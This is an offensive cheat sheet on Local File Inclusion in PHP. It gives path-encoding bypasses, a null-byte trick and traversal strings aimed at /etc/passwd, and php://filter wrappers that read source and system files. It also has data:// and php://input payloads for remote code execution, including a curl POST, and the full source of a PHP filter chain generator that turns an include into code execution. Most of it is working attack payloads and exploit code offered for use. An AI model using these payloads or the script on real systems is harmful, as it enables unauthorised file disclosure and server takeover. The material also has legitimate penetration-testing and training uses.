LFI

Cheet Sheet

### Encodings ###

# Url encoded
. = %2e
/ = %2f
\ = %5c

# 16 bit
. = %u002e
/ = %u2215
\ = %u2216

# Double URL
. = %252e
/ = %252f
\ = %255c

# UTF-8
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Null Byte Inyection in PHP versions < 5.3

?page=/etc/passwd%00.php # php extension

Tipical Bypasses

///etc///passwd 
/etc/././passwd
....//....//....//....//etc//passwd 

PHP Wrappers

PHP Wrappers - Deep HackingDeep Hacking

# UTF-16
php://filter/convert.iconv.utf-8.utf-16/resource=/etc/passwd

# Base64
php://filter/convert.base64-encode/resource=index.php
echo -n "<Base64 stuff>" | base64 -d # Decode

# Rot13
php://filter/read=string.rot13/resource=index.php
echo "Rkcybvg Fuvg" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' # Decode

RCE Via Wrappers

# data://
data://text/plain,<php-code>
data://text/plain;base64,<php-code-encoded>

# php://input
curl -s -X POST -d ‘<php-code>’ ‘http://example.com/index.php?file=php://input’

Automate

A CLI to generate PHP filters chain, get your RCE without uploading a file if you control entirely the parameter passed to a require or an include in PHP.

GitHub - synacktiv/php_filter_chain_generatorGitHub

#!/usr/bin/env python3
import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

def main():

    # Parsing command line arguments
    parser = argparse.ArgumentParser(description="PHP filter chain generator.")

    parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
    parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
    args = parser.parse_args()
    if args.chain is not None:
        chain = args.chain.encode('utf-8')
        base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
        chain = generate_filter_chain(base64_value)
        print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
        print(chain)
    if args.rawbase64 is not None:
        rawbase64 = args.rawbase64.replace("=", "")
        match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
        if (match):
            chain = generate_filter_chain(rawbase64, True)
            print(chain)
        else:
            print ("[-] Base64 string required.")
            exit(1)

if __name__ == "__main__":
    main()